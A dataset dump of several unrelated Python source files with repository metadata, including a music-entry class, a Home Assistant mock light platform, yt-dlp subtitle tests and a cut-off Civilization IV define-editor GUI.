class MusicEntry: __slots__ = ['title', 'duration', 'url','webpage_url', 'author', 'channel', 'lock', 'effect', 'thumb', 'search_query', 'is_live', 'filename', 'status'] def __init__(self, url, webpage_url, author, channel, title, duration, lock, effect, thumb, is_live, search_query=None): self.title = title self.duration = duration self.url = url self.webpage_url = webpage_url self.author = author self.channel = channel self.lock = lock self.effect = effect self.thumb = thumb self.search_query = title if search_query is None else search_query self.filename = None self.status = None self.is_live = is_live def __repr__(self): return self.title, self.filename

true

f7f355c4b305ae2bf46ca6c912c6179f1739d6e2

702

py

Python

tests/config/custom_components/light/test.py

hemantsangwan/home-assistant

28b397030d2f66bb084f80d8a237d0a2c11bac79

[ "MIT" ]

2

2021-05-25T01:08:57.000Z

2022-01-09T21:02:46.000Z

tests/config/custom_components/light/test.py

hemantsangwan/home-assistant

28b397030d2f66bb084f80d8a237d0a2c11bac79

[ "MIT" ]

null

tests/config/custom_components/light/test.py

hemantsangwan/home-assistant

28b397030d2f66bb084f80d8a237d0a2c11bac79

[ "MIT" ]

1

2022-02-04T10:11:57.000Z

""" custom_components.light.test ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Provides a mock switch platform. Call init before using it in your tests to ensure clean test data. """ from homeassistant.const import STATE_ON, STATE_OFF from tests.helpers import MockToggleDevice DEVICES = [] def init(empty=False): """ (re-)initalizes the platform with devices. """ global DEVICES DEVICES = [] if empty else [ MockToggleDevice('Ceiling', STATE_ON), MockToggleDevice('Ceiling', STATE_OFF), MockToggleDevice(None, STATE_OFF) ] def setup_platform(hass, config, add_devices_callback, discovery_info=None): """ Returns mock devices. """ add_devices_callback(DEVICES)

23.4

76

0.683761

from homeassistant.const import STATE_ON, STATE_OFF from tests.helpers import MockToggleDevice DEVICES = [] def init(empty=False): global DEVICES DEVICES = [] if empty else [ MockToggleDevice('Ceiling', STATE_ON), MockToggleDevice('Ceiling', STATE_OFF), MockToggleDevice(None, STATE_OFF) ] def setup_platform(hass, config, add_devices_callback, discovery_info=None): add_devices_callback(DEVICES)

true

f7f356832ed11a857856a1525561c3b8574e8e09

13,885

py

Python

test/test_subtitles.py

kevinoconnor7/yt-dlp

73d829c144601c105f7ee1a3d8f2aed6d8e1b76d

[ "Unlicense" ]

5

2021-08-24T17:08:12.000Z

2022-03-03T13:06:09.000Z

test/test_subtitles.py

kevinoconnor7/yt-dlp

73d829c144601c105f7ee1a3d8f2aed6d8e1b76d

[ "Unlicense" ]

1

2021-07-01T13:07:07.000Z

test/test_subtitles.py

kevinoconnor7/yt-dlp

73d829c144601c105f7ee1a3d8f2aed6d8e1b76d

[ "Unlicense" ]

1

2022-02-05T11:57:47.000Z

#!/usr/bin/env python3 from __future__ import unicode_literals # Allow direct execution import os import sys import unittest sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from test.helper import FakeYDL, md5 from yt_dlp.extractor import ( YoutubeIE, DailymotionIE, TEDIE, VimeoIE, WallaIE, CeskaTelevizeIE, LyndaIE, NPOIE, ComedyCentralIE, NRKTVIE, RaiPlayIE, VikiIE, ThePlatformIE, ThePlatformFeedIE, RTVEALaCartaIE, DemocracynowIE, ) class BaseTestSubtitles(unittest.TestCase): url = None IE = None def setUp(self): self.DL = FakeYDL() self.ie = self.IE() self.DL.add_info_extractor(self.ie) def getInfoDict(self): info_dict = self.DL.extract_info(self.url, download=False) return info_dict def getSubtitles(self): info_dict = self.getInfoDict() subtitles = info_dict['requested_subtitles'] if not subtitles: return subtitles for sub_info in subtitles.values(): if sub_info.get('data') is None: uf = self.DL.urlopen(sub_info['url']) sub_info['data'] = uf.read().decode('utf-8') return dict((l, sub_info['data']) for l, sub_info in subtitles.items()) class TestYoutubeSubtitles(BaseTestSubtitles): url = 'QRS8MkLhQmM' IE = YoutubeIE def test_youtube_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(len(subtitles.keys()), 13) self.assertEqual(md5(subtitles['en']), '688dd1ce0981683867e7fe6fde2a224b') self.assertEqual(md5(subtitles['it']), '31324d30b8430b309f7f5979a504a769') for lang in ['fr', 'de']: self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang) def test_youtube_subtitles_ttml_format(self): self.DL.params['writesubtitles'] = True self.DL.params['subtitlesformat'] = 'ttml' subtitles = self.getSubtitles() self.assertEqual(md5(subtitles['en']), 'c97ddf1217390906fa9fbd34901f3da2') def test_youtube_subtitles_vtt_format(self): self.DL.params['writesubtitles'] = True self.DL.params['subtitlesformat'] = 'vtt' subtitles = self.getSubtitles() self.assertEqual(md5(subtitles['en']), 'ae1bd34126571a77aabd4d276b28044d') def test_youtube_automatic_captions(self): self.url = '8YoUxe5ncPo' self.DL.params['writeautomaticsub'] = True self.DL.params['subtitleslangs'] = ['it'] subtitles = self.getSubtitles() self.assertTrue(subtitles['it'] is not None) def test_youtube_no_automatic_captions(self): self.url = 'QRS8MkLhQmM' self.DL.params['writeautomaticsub'] = True subtitles = self.getSubtitles() self.assertTrue(not subtitles) def test_youtube_translated_subtitles(self): # This video has a subtitles track, which can be translated self.url = 'i0ZabxXmH4Y' self.DL.params['writeautomaticsub'] = True self.DL.params['subtitleslangs'] = ['it'] subtitles = self.getSubtitles() self.assertTrue(subtitles['it'] is not None) def test_youtube_nosubtitles(self): self.DL.expect_warning('video doesn\'t have subtitles') self.url = 'n5BB19UTcdA' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertFalse(subtitles) class TestDailymotionSubtitles(BaseTestSubtitles): url = 'http://www.dailymotion.com/video/xczg00' IE = DailymotionIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertTrue(len(subtitles.keys()) >= 6) self.assertEqual(md5(subtitles['en']), '976553874490cba125086bbfea3ff76f') self.assertEqual(md5(subtitles['fr']), '594564ec7d588942e384e920e5341792') for lang in ['es', 'fr', 'de']: self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang) def test_nosubtitles(self): self.DL.expect_warning('video doesn\'t have subtitles') self.url = 'http://www.dailymotion.com/video/x12u166_le-zapping-tele-star-du-08-aout-2013_tv' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertFalse(subtitles) class TestTedSubtitles(BaseTestSubtitles): url = 'http://www.ted.com/talks/dan_dennett_on_our_consciousness.html' IE = TEDIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertTrue(len(subtitles.keys()) >= 28) self.assertEqual(md5(subtitles['en']), '4262c1665ff928a2dada178f62cb8d14') self.assertEqual(md5(subtitles['fr']), '66a63f7f42c97a50f8c0e90bc7797bb5') for lang in ['es', 'fr', 'de']: self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang) class TestVimeoSubtitles(BaseTestSubtitles): url = 'http://vimeo.com/76979871' IE = VimeoIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['de', 'en', 'es', 'fr'])) self.assertEqual(md5(subtitles['en']), '8062383cf4dec168fc40a088aa6d5888') self.assertEqual(md5(subtitles['fr']), 'b6191146a6c5d3a452244d853fde6dc8') def test_nosubtitles(self): self.DL.expect_warning('video doesn\'t have subtitles') self.url = 'http://vimeo.com/56015672' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertFalse(subtitles) class TestWallaSubtitles(BaseTestSubtitles): url = 'http://vod.walla.co.il/movie/2705958/the-yes-men' IE = WallaIE def test_allsubtitles(self): self.DL.expect_warning('Automatic Captions not supported by this server') self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['heb'])) self.assertEqual(md5(subtitles['heb']), 'e758c5d7cb982f6bef14f377ec7a3920') def test_nosubtitles(self): self.DL.expect_warning('video doesn\'t have subtitles') self.url = 'http://vod.walla.co.il/movie/2642630/one-direction-all-for-one' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertFalse(subtitles) class TestCeskaTelevizeSubtitles(BaseTestSubtitles): url = 'http://www.ceskatelevize.cz/ivysilani/10600540290-u6-uzasny-svet-techniky' IE = CeskaTelevizeIE def test_allsubtitles(self): self.DL.expect_warning('Automatic Captions not supported by this server') self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['cs'])) self.assertTrue(len(subtitles['cs']) > 20000) def test_nosubtitles(self): self.DL.expect_warning('video doesn\'t have subtitles') self.url = 'http://www.ceskatelevize.cz/ivysilani/ivysilani/10441294653-hyde-park-civilizace/214411058091220' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertFalse(subtitles) class TestLyndaSubtitles(BaseTestSubtitles): url = 'http://www.lynda.com/Bootstrap-tutorials/Using-exercise-files/110885/114408-4.html' IE = LyndaIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), '09bbe67222259bed60deaa26997d73a7') class TestNPOSubtitles(BaseTestSubtitles): url = 'http://www.npo.nl/nos-journaal/28-08-2014/POW_00722860' IE = NPOIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['nl'])) self.assertEqual(md5(subtitles['nl']), 'fc6435027572b63fb4ab143abd5ad3f4') class TestMTVSubtitles(BaseTestSubtitles): url = 'http://www.cc.com/video-clips/p63lk0/adam-devine-s-house-party-chasing-white-swans' IE = ComedyCentralIE def getInfoDict(self): return super(TestMTVSubtitles, self).getInfoDict()['entries'][0] def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), '78206b8d8a0cfa9da64dc026eea48961') class TestNRKSubtitles(BaseTestSubtitles): url = 'http://tv.nrk.no/serie/ikke-gjoer-dette-hjemme/DMPV73000411/sesong-2/episode-1' IE = NRKTVIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['no'])) self.assertEqual(md5(subtitles['no']), '544fa917d3197fcbee64634559221cc2') class TestRaiPlaySubtitles(BaseTestSubtitles): IE = RaiPlayIE def test_subtitles_key(self): self.url = 'http://www.raiplay.it/video/2014/04/Report-del-07042014-cb27157f-9dd0-4aee-b788-b1f67643a391.html' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['it'])) self.assertEqual(md5(subtitles['it']), 'b1d90a98755126b61e667567a1f6680a') def test_subtitles_array_key(self): self.url = 'https://www.raiplay.it/video/2020/12/Report---04-01-2021-2e90f1de-8eee-4de4-ac0e-78d21db5b600.html' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['it'])) self.assertEqual(md5(subtitles['it']), '4b3264186fbb103508abe5311cfcb9cd') class TestVikiSubtitles(BaseTestSubtitles): url = 'http://www.viki.com/videos/1060846v-punch-episode-18' IE = VikiIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), '53cb083a5914b2d84ef1ab67b880d18a') class TestThePlatformSubtitles(BaseTestSubtitles): # from http://www.3playmedia.com/services-features/tools/integrations/theplatform/ # (see http://theplatform.com/about/partners/type/subtitles-closed-captioning/) url = 'theplatform:JFUjUE1_ehvq' IE = ThePlatformIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), '97e7670cbae3c4d26ae8bcc7fdd78d4b') class TestThePlatformFeedSubtitles(BaseTestSubtitles): url = 'http://feed.theplatform.com/f/7wvmTC/msnbc_video-p-test?form=json&pretty=true&range=-40&byGuid=n_hardball_5biden_140207' IE = ThePlatformFeedIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), '48649a22e82b2da21c9a67a395eedade') class TestRtveSubtitles(BaseTestSubtitles): url = 'http://www.rtve.es/alacarta/videos/los-misterios-de-laura/misterios-laura-capitulo-32-misterio-del-numero-17-2-parte/2428621/' IE = RTVEALaCartaIE def test_allsubtitles(self): print('Skipping, only available from Spain') return self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['es'])) self.assertEqual(md5(subtitles['es']), '69e70cae2d40574fb7316f31d6eb7fca') class TestDemocracynowSubtitles(BaseTestSubtitles): url = 'http://www.democracynow.org/shows/2015/7/3' IE = DemocracynowIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), 'acaca989e24a9e45a6719c9b3d60815c') def test_subtitles_in_page(self): self.url = 'http://www.democracynow.org/2015/7/3/this_flag_comes_down_today_bree' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), 'acaca989e24a9e45a6719c9b3d60815c') if __name__ == '__main__': unittest.main()

38.569444

137

0.673749

from __future__ import unicode_literals import os import sys import unittest sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from test.helper import FakeYDL, md5 from yt_dlp.extractor import ( YoutubeIE, DailymotionIE, TEDIE, VimeoIE, WallaIE, CeskaTelevizeIE, LyndaIE, NPOIE, ComedyCentralIE, NRKTVIE, RaiPlayIE, VikiIE, ThePlatformIE, ThePlatformFeedIE, RTVEALaCartaIE, DemocracynowIE, ) class BaseTestSubtitles(unittest.TestCase): url = None IE = None def setUp(self): self.DL = FakeYDL() self.ie = self.IE() self.DL.add_info_extractor(self.ie) def getInfoDict(self): info_dict = self.DL.extract_info(self.url, download=False) return info_dict def getSubtitles(self): info_dict = self.getInfoDict() subtitles = info_dict['requested_subtitles'] if not subtitles: return subtitles for sub_info in subtitles.values(): if sub_info.get('data') is None: uf = self.DL.urlopen(sub_info['url']) sub_info['data'] = uf.read().decode('utf-8') return dict((l, sub_info['data']) for l, sub_info in subtitles.items()) class TestYoutubeSubtitles(BaseTestSubtitles): url = 'QRS8MkLhQmM' IE = YoutubeIE def test_youtube_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(len(subtitles.keys()), 13) self.assertEqual(md5(subtitles['en']), '688dd1ce0981683867e7fe6fde2a224b') self.assertEqual(md5(subtitles['it']), '31324d30b8430b309f7f5979a504a769') for lang in ['fr', 'de']: self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang) def test_youtube_subtitles_ttml_format(self): self.DL.params['writesubtitles'] = True self.DL.params['subtitlesformat'] = 'ttml' subtitles = self.getSubtitles() self.assertEqual(md5(subtitles['en']), 'c97ddf1217390906fa9fbd34901f3da2') def test_youtube_subtitles_vtt_format(self): self.DL.params['writesubtitles'] = True self.DL.params['subtitlesformat'] = 'vtt' subtitles = self.getSubtitles() self.assertEqual(md5(subtitles['en']), 'ae1bd34126571a77aabd4d276b28044d') def test_youtube_automatic_captions(self): self.url = '8YoUxe5ncPo' self.DL.params['writeautomaticsub'] = True self.DL.params['subtitleslangs'] = ['it'] subtitles = self.getSubtitles() self.assertTrue(subtitles['it'] is not None) def test_youtube_no_automatic_captions(self): self.url = 'QRS8MkLhQmM' self.DL.params['writeautomaticsub'] = True subtitles = self.getSubtitles() self.assertTrue(not subtitles) def test_youtube_translated_subtitles(self): self.url = 'i0ZabxXmH4Y' self.DL.params['writeautomaticsub'] = True self.DL.params['subtitleslangs'] = ['it'] subtitles = self.getSubtitles() self.assertTrue(subtitles['it'] is not None) def test_youtube_nosubtitles(self): self.DL.expect_warning('video doesn\'t have subtitles') self.url = 'n5BB19UTcdA' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertFalse(subtitles) class TestDailymotionSubtitles(BaseTestSubtitles): url = 'http://www.dailymotion.com/video/xczg00' IE = DailymotionIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertTrue(len(subtitles.keys()) >= 6) self.assertEqual(md5(subtitles['en']), '976553874490cba125086bbfea3ff76f') self.assertEqual(md5(subtitles['fr']), '594564ec7d588942e384e920e5341792') for lang in ['es', 'fr', 'de']: self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang) def test_nosubtitles(self): self.DL.expect_warning('video doesn\'t have subtitles') self.url = 'http://www.dailymotion.com/video/x12u166_le-zapping-tele-star-du-08-aout-2013_tv' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertFalse(subtitles) class TestTedSubtitles(BaseTestSubtitles): url = 'http://www.ted.com/talks/dan_dennett_on_our_consciousness.html' IE = TEDIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertTrue(len(subtitles.keys()) >= 28) self.assertEqual(md5(subtitles['en']), '4262c1665ff928a2dada178f62cb8d14') self.assertEqual(md5(subtitles['fr']), '66a63f7f42c97a50f8c0e90bc7797bb5') for lang in ['es', 'fr', 'de']: self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang) class TestVimeoSubtitles(BaseTestSubtitles): url = 'http://vimeo.com/76979871' IE = VimeoIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['de', 'en', 'es', 'fr'])) self.assertEqual(md5(subtitles['en']), '8062383cf4dec168fc40a088aa6d5888') self.assertEqual(md5(subtitles['fr']), 'b6191146a6c5d3a452244d853fde6dc8') def test_nosubtitles(self): self.DL.expect_warning('video doesn\'t have subtitles') self.url = 'http://vimeo.com/56015672' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertFalse(subtitles) class TestWallaSubtitles(BaseTestSubtitles): url = 'http://vod.walla.co.il/movie/2705958/the-yes-men' IE = WallaIE def test_allsubtitles(self): self.DL.expect_warning('Automatic Captions not supported by this server') self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['heb'])) self.assertEqual(md5(subtitles['heb']), 'e758c5d7cb982f6bef14f377ec7a3920') def test_nosubtitles(self): self.DL.expect_warning('video doesn\'t have subtitles') self.url = 'http://vod.walla.co.il/movie/2642630/one-direction-all-for-one' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertFalse(subtitles) class TestCeskaTelevizeSubtitles(BaseTestSubtitles): url = 'http://www.ceskatelevize.cz/ivysilani/10600540290-u6-uzasny-svet-techniky' IE = CeskaTelevizeIE def test_allsubtitles(self): self.DL.expect_warning('Automatic Captions not supported by this server') self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['cs'])) self.assertTrue(len(subtitles['cs']) > 20000) def test_nosubtitles(self): self.DL.expect_warning('video doesn\'t have subtitles') self.url = 'http://www.ceskatelevize.cz/ivysilani/ivysilani/10441294653-hyde-park-civilizace/214411058091220' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertFalse(subtitles) class TestLyndaSubtitles(BaseTestSubtitles): url = 'http://www.lynda.com/Bootstrap-tutorials/Using-exercise-files/110885/114408-4.html' IE = LyndaIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), '09bbe67222259bed60deaa26997d73a7') class TestNPOSubtitles(BaseTestSubtitles): url = 'http://www.npo.nl/nos-journaal/28-08-2014/POW_00722860' IE = NPOIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['nl'])) self.assertEqual(md5(subtitles['nl']), 'fc6435027572b63fb4ab143abd5ad3f4') class TestMTVSubtitles(BaseTestSubtitles): url = 'http://www.cc.com/video-clips/p63lk0/adam-devine-s-house-party-chasing-white-swans' IE = ComedyCentralIE def getInfoDict(self): return super(TestMTVSubtitles, self).getInfoDict()['entries'][0] def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), '78206b8d8a0cfa9da64dc026eea48961') class TestNRKSubtitles(BaseTestSubtitles): url = 'http://tv.nrk.no/serie/ikke-gjoer-dette-hjemme/DMPV73000411/sesong-2/episode-1' IE = NRKTVIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['no'])) self.assertEqual(md5(subtitles['no']), '544fa917d3197fcbee64634559221cc2') class TestRaiPlaySubtitles(BaseTestSubtitles): IE = RaiPlayIE def test_subtitles_key(self): self.url = 'http://www.raiplay.it/video/2014/04/Report-del-07042014-cb27157f-9dd0-4aee-b788-b1f67643a391.html' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['it'])) self.assertEqual(md5(subtitles['it']), 'b1d90a98755126b61e667567a1f6680a') def test_subtitles_array_key(self): self.url = 'https://www.raiplay.it/video/2020/12/Report---04-01-2021-2e90f1de-8eee-4de4-ac0e-78d21db5b600.html' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['it'])) self.assertEqual(md5(subtitles['it']), '4b3264186fbb103508abe5311cfcb9cd') class TestVikiSubtitles(BaseTestSubtitles): url = 'http://www.viki.com/videos/1060846v-punch-episode-18' IE = VikiIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), '53cb083a5914b2d84ef1ab67b880d18a') class TestThePlatformSubtitles(BaseTestSubtitles): # from http://www.3playmedia.com/services-features/tools/integrations/theplatform/ # (see http://theplatform.com/about/partners/type/subtitles-closed-captioning/) url = 'theplatform:JFUjUE1_ehvq' IE = ThePlatformIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), '97e7670cbae3c4d26ae8bcc7fdd78d4b') class TestThePlatformFeedSubtitles(BaseTestSubtitles): url = 'http://feed.theplatform.com/f/7wvmTC/msnbc_video-p-test?form=json&pretty=true&range=-40&byGuid=n_hardball_5biden_140207' IE = ThePlatformFeedIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), '48649a22e82b2da21c9a67a395eedade') class TestRtveSubtitles(BaseTestSubtitles): url = 'http://www.rtve.es/alacarta/videos/los-misterios-de-laura/misterios-laura-capitulo-32-misterio-del-numero-17-2-parte/2428621/' IE = RTVEALaCartaIE def test_allsubtitles(self): print('Skipping, only available from Spain') return self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['es'])) self.assertEqual(md5(subtitles['es']), '69e70cae2d40574fb7316f31d6eb7fca') class TestDemocracynowSubtitles(BaseTestSubtitles): url = 'http://www.democracynow.org/shows/2015/7/3' IE = DemocracynowIE def test_allsubtitles(self): self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), 'acaca989e24a9e45a6719c9b3d60815c') def test_subtitles_in_page(self): self.url = 'http://www.democracynow.org/2015/7/3/this_flag_comes_down_today_bree' self.DL.params['writesubtitles'] = True self.DL.params['allsubtitles'] = True subtitles = self.getSubtitles() self.assertEqual(set(subtitles.keys()), set(['en'])) self.assertEqual(md5(subtitles['en']), 'acaca989e24a9e45a6719c9b3d60815c') if __name__ == '__main__': unittest.main()

true

f7f356ec000a83cd846dd558af9805edc32c93ce

3,753

py

Python

Civ4/Assets/Python/CvDefineEditor.py

f1rpo/Civ4CE

ba64c3545b479887739ad0ff78605b51b6fa57f9

[ "CNRI-Python" ]

null

Civ4/Assets/Python/CvDefineEditor.py

f1rpo/Civ4CE

ba64c3545b479887739ad0ff78605b51b6fa57f9

[ "CNRI-Python" ]

null

Civ4/Assets/Python/CvDefineEditor.py

f1rpo/Civ4CE

ba64c3545b479887739ad0ff78605b51b6fa57f9

[ "CNRI-Python" ]

null

import wx; from CvPythonExtensions import * gc = CyGlobalContext() gVDS = gc.getCyDefinesVarSystem() class CvIntEditorPanel( wx.Panel ): def __init__( self, kParent, szVarName ): wx.Panel.__init__( self, kParent ) self.hLabel = wx.StaticText( self, -1, szVarName ) self.hEdit = wx.TextCtrl( self, value = str( gVDS.getValueInt( szVarName ) ) ) self.szVarName = szVarName; self.hSizer = wx.BoxSizer( wx.HORIZONTAL ) self.hSizer.Add( self.hLabel, 1, wx.EXPAND | wx.ALL, 4 ) self.hSizer.Add( self.hEdit, 1, wx.ALIGN_RIGHT ) self.SetSizer( self.hSizer ) self.Bind( wx.EVT_TEXT_ENTER, self.OnUpdateText, self.hEdit ) def OnUpdateText( self, kEvent ): gVDS.setValueInt( self.szVarName, int(self.hEdit.GetLineText( 0 )) ) class CvFloatEditorPanel( wx.Panel ): def __init__( self, kParent, szVarName ): wx.Panel.__init__( self, kParent ) self.hLabel = wx.StaticText( self, -1, szVarName ) self.hEdit = wx.TextCtrl( self, value = str( gVDS.getValueFloat( szVarName ) ) ) self.szVarName = szVarName; self.hSizer = wx.BoxSizer( wx.HORIZONTAL ) self.hSizer.Add( self.hLabel, 1, wx.EXPAND | wx.ALL, 4 ) self.hSizer.Add( self.hEdit, 1, wx.ALIGN_RIGHT ) self.SetSizer( self.hSizer ) self.Bind( wx.EVT_TEXT_ENTER, self.OnUpdateText, self.hEdit ) def OnUpdateText( self, kEvent ): gVDS.setValueFloat( self.szVarName, float(self.hEdit.GetLineText( 0 )) ) class CvStringEditorPanel( wx.Panel ): def __init__( self, kParent, szVarName ): wx.Panel.__init__( self, kParent ) self.hLabel = wx.StaticText( self, -1, szVarName ) self.hEdit = wx.TextCtrl( self, value = str( gVDS.getValueString( szVarName ) ) ) self.szVarName = szVarName; self.hSizer = wx.BoxSizer( wx.HORIZONTAL ) self.hSizer.Add( self.hLabel, 1, wx.EXPAND | wx.ALL, 4 ) self.hSizer.Add( self.hEdit, 1, wx.ALIGN_RIGHT ) self.SetSizer( self.hSizer ) self.Bind( wx.EVT_TEXT_ENTER, self.OnUpdateText, self.hEdit ) def OnUpdateText( self, kEvent ): gVDS.setValueString( self.szVarName, self.hEdit.GetLineText( 0 ) ) class CvDefineEditorFrame( wx.Frame ): ID_VARCOMBO = 1000 def __init__( self ): wx.Frame.__init__( self, None, -1, "Info Editor", (-1,-1), (-1,-1), wx.MAXIMIZE_BOX | wx.CLOSE_BOX | wx.SYSTEM_MENU | wx.CAPTION | wx.RESIZE_BORDER | wx.VSCROLL ) self.hSizer = wx.BoxSizer( wx.VERTICAL ) self.hVarCombo = wx.ComboBox( self, style = wx.CB_SORT | wx.CB_DROPDOWN | wx.CB_READONLY ) self.hSizer.Add( self.hVarCombo, 1, wx.EXPAND ) self.SetSizer( self.hSizer ) szVarName = gVDS.getFirstVariableName() while szVarName != "": self.hVarCombo.Append( szVarName ) szVarName = gVDS.getNextVariableName() self.Bind( wx.EVT_TEXT, self.OnComboSelection, self.hVarCombo ) def OnComboSelection( self, kEvent ): szVarName = self.hVarCombo.GetValue() if szVarName != "": szVarType = gVDS.getVariableType( szVarName ) hPanel = None if szVarType == "int": hPanel = CvIntEditorPanel( self, szVarName ) elif szVarType == "float": hPanel = CvFloatEditorPanel( self, szVarName ) elif szVarType == "string": hPanel = CvStringEditorPanel( self, szVarName ) if hPanel != None: 